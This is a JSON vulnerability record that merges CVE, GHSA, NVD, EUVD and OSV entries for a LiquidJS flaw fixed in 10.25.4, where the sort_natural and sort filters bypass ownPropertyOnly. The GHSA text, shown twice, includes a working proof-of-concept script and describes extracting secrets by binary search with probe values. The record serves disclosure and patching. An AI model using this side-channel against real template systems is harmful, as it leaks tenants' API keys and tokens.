{"id":"CVE-2026-39412","aliases":["EUVD-2026-20600","GHSA-rv5g-f82m-qrvv"],"status":"published","title":"LiquidJS has an ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4.","severity":{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.0041,"percentile":0.35732,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-200"],"published":"2026-04-08T15:04:39Z","modified":"2026-11-11T10:30:49Z","fixes":[{"ecosystem":"npm","package":"liquidjs","fixed_in":["10.25.4"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"10.25.3"},{"fixed":"10.25.4"}]}]},{"source":"osv","ecosystem":"npm","package":"liquidjs","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.25.4"}]}]}],"products":[{"vendor":"harttle","product":"liquidjs"},{"vendor":"liquidjs","product":"liquidjs"}],"references":[{"url":"https://github.com/harttle/liquidjs/security/advisories/GHSA-rv5g-f82m-qrvv","tags":["x_refsource_CONFIRM","exploit","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/harttle/liquidjs/pull/869","tags":["x_refsource_MISC","Issue Tracking","Product","fix","web"]},{"url":"https://github.com/harttle/liquidjs/commit/e743da0020d34e2ee547e1cc1a86b58377ebe1ce","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/harttle/liquidjs/releases/tag/v10.25.4","tags":["x_refsource_MISC","Release Notes","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39412","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-rv5g-f82m-qrvv"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/39xxx/CVE-2026-39412.json","tags":["advisory"]},{"url":"https://github.com/harttle/liquidjs","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-39412","title":"LiquidJS has an ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4.","status":"published","published":"2026-04-08T19:39:17.78Z","modified":"2026-04-09T13:53:27.859Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:20:03.081354Z"}],"euvd":[{"id":"EUVD-2026-20600","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4.","status":"published","published":"2026-04-08T19:39:17Z","modified":"2026-04-09T13:53:27Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:24:31.230458Z"}],"ghsa":[{"id":"GHSA-rv5g-f82m-qrvv","title":"LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","description":"### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural\u003cT\u003e (this: FilterImpl, input: T[], property?: string) {\n  const propertyString = stringify(property)\n  const compare = property === undefined\n    ? caseInsensitiveCompare\n    : (lhs: T, rhs: T) =\u003e caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n  const array = toArray(input)\n  this.context.memoryLimit.use(array.length)\n  return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly \u0026\u0026 !hasOwnProperty.call(obj, key) \u0026\u0026 !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\nasync function main() {\n  const engine = new Liquid({ ownPropertyOnly: true });\n\n  // Object with prototype-inherited secret\n  function UserModel() {}\n  UserModel.prototype.apiKey = 'sk-1234-secret-token';\n\n  const target = new UserModel();\n  target.name = 'target';\n\n  const probe_a = { name: 'probe_a', apiKey: 'aaa' };\n  const probe_z = { name: 'probe_z', apiKey: 'zzz' };\n\n  // Direct access: correctly blocked by ownPropertyOnly\n  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });\n  console.log('Direct access:', JSON.stringify(r1));  // \"\" (blocked)\n\n  // map filter: correctly blocked\n  const r2 = await engine.parseAndRender('{{ users | map: \"apiKey\" }}', { users: [target] });\n  console.log('Map filter:', JSON.stringify(r2));  // \"\" (blocked)\n\n  // sort_natural: BYPASSES ownPropertyOnly\n  const r3 = await engine.parseAndRender(\n    '{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}',\n    { users: [probe_z, target, probe_a] }\n  );\n  console.log('sort_natural order:', r3);\n  // Output: \"probe_a,target,probe_z,\"\n  // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n  // Actual: sorted by apiKey value (aaa \u003c sk-1234-secret-token \u003c zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target's prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.","status":"published","published":"2026-04-08T15:04:39Z","modified":"2026-04-09T14:29:01Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:39:51.193071Z"}],"nvd":[{"id":"CVE-2026-39412","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4.","status":"published","published":"2026-04-08T20:16:25.733Z","modified":"2026-07-24T21:10:00.143Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium","assessor":"secondary"},{"version":"3.1","score":7.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","level":"high","assessor":"primary"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T14:12:13.902911Z"}],"osv":[{"id":"CVE-2026-39412","title":"LiquidJS has an ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","description":"LiquidJS is a Shopify / GitHub Pages compatible template engine in pure JavaScript. Prior to 10.25.4, the sort_natural filter bypasses the ownPropertyOnly security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on ownPropertyOnly: true as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens. This vulnerability is fixed in 10.25.4.","status":"published","published":"2026-04-08T19:39:17.78Z","modified":"2026-11-11T10:30:49.229700402Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-11T11:06:44.829133Z"},{"id":"GHSA-rv5g-f82m-qrvv","title":"LiquidJS: ownPropertyOnly bypass via sort_natural filter — prototype property information disclosure through sorting side-channel","description":"### Summary\n\nThe `sort_natural` filter bypasses the `ownPropertyOnly` security option, allowing template authors to extract values of prototype-inherited properties through a sorting side-channel attack. Applications relying on `ownPropertyOnly: true` as a security boundary (e.g., multi-tenant template systems) are exposed to information disclosure of sensitive prototype properties such as API keys and tokens.\n\n### Details\n\nIn `src/filters/array.ts`, the `sort_natural` function (lines 40-48) accesses object properties using direct bracket notation (`lhs[propertyString]`), which traverses the JavaScript prototype chain:\n\n```typescript\nexport function sort_natural\u003cT\u003e (this: FilterImpl, input: T[], property?: string) {\n  const propertyString = stringify(property)\n  const compare = property === undefined\n    ? caseInsensitiveCompare\n    : (lhs: T, rhs: T) =\u003e caseInsensitiveCompare(lhs[propertyString], rhs[propertyString])\n  const array = toArray(input)\n  this.context.memoryLimit.use(array.length)\n  return [...array].sort(compare)\n}\n```\n\nIn contrast, the correct approach used elsewhere in the codebase goes through `readJSProperty` in `src/context/context.ts`, which checks `hasOwnProperty` when `ownPropertyOnly` is enabled:\n\n```typescript\nexport function readJSProperty (obj: Scope, key: PropertyKey, ownPropertyOnly: boolean) {\n  if (ownPropertyOnly \u0026\u0026 !hasOwnProperty.call(obj, key) \u0026\u0026 !(obj instanceof Drop)) return undefined\n  return obj[key]\n}\n```\n\nThe `sort_natural` filter bypasses this check entirely. The `sort` filter (lines 26-38 in the same file) has the same issue.\n\n### PoC\n\n```javascript\nconst { Liquid } = require('liquidjs');\n\nasync function main() {\n  const engine = new Liquid({ ownPropertyOnly: true });\n\n  // Object with prototype-inherited secret\n  function UserModel() {}\n  UserModel.prototype.apiKey = 'sk-1234-secret-token';\n\n  const target = new UserModel();\n  target.name = 'target';\n\n  const probe_a = { name: 'probe_a', apiKey: 'aaa' };\n  const probe_z = { name: 'probe_z', apiKey: 'zzz' };\n\n  // Direct access: correctly blocked by ownPropertyOnly\n  const r1 = await engine.parseAndRender('{{ users[0].apiKey }}', { users: [target] });\n  console.log('Direct access:', JSON.stringify(r1));  // \"\" (blocked)\n\n  // map filter: correctly blocked\n  const r2 = await engine.parseAndRender('{{ users | map: \"apiKey\" }}', { users: [target] });\n  console.log('Map filter:', JSON.stringify(r2));  // \"\" (blocked)\n\n  // sort_natural: BYPASSES ownPropertyOnly\n  const r3 = await engine.parseAndRender(\n    '{% assign sorted = users | sort_natural: \"apiKey\" %}{% for u in sorted %}{{ u.name }},{% endfor %}',\n    { users: [probe_z, target, probe_a] }\n  );\n  console.log('sort_natural order:', r3);\n  // Output: \"probe_a,target,probe_z,\"\n  // If apiKey were blocked: original order \"probe_z,target,probe_a,\"\n  // Actual: sorted by apiKey value (aaa \u003c sk-1234-secret-token \u003c zzz)\n}\n\nmain();\n```\n\n**Result:**\n```\nDirect access: \"\"\nMap filter: \"\"\nsort_natural order: probe_a,target,probe_z,\n```\n\nThe sorted order reveals that the target's prototype `apiKey` falls between \"aaa\" and \"zzz\". By using more precise probe values, the full secret can be extracted character-by-character through binary search.\n\n### Impact\n\nInformation disclosure vulnerability. Any application using LiquidJS with `ownPropertyOnly: true` (the default since v10.x) where untrusted users can write templates is affected. Attackers can extract prototype-inherited secrets (API keys, tokens, passwords) from context objects via the `sort_natural` or `sort` filters, bypassing the security control that is supposed to prevent prototype property access.","status":"published","published":"2026-04-08T15:04:39Z","modified":"2026-09-10T03:51:03.225634128Z","cvss":[{"version":"3.1","score":5.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-200"],"updated_at":"2026-11-02T15:46:56.281047Z"}]}}
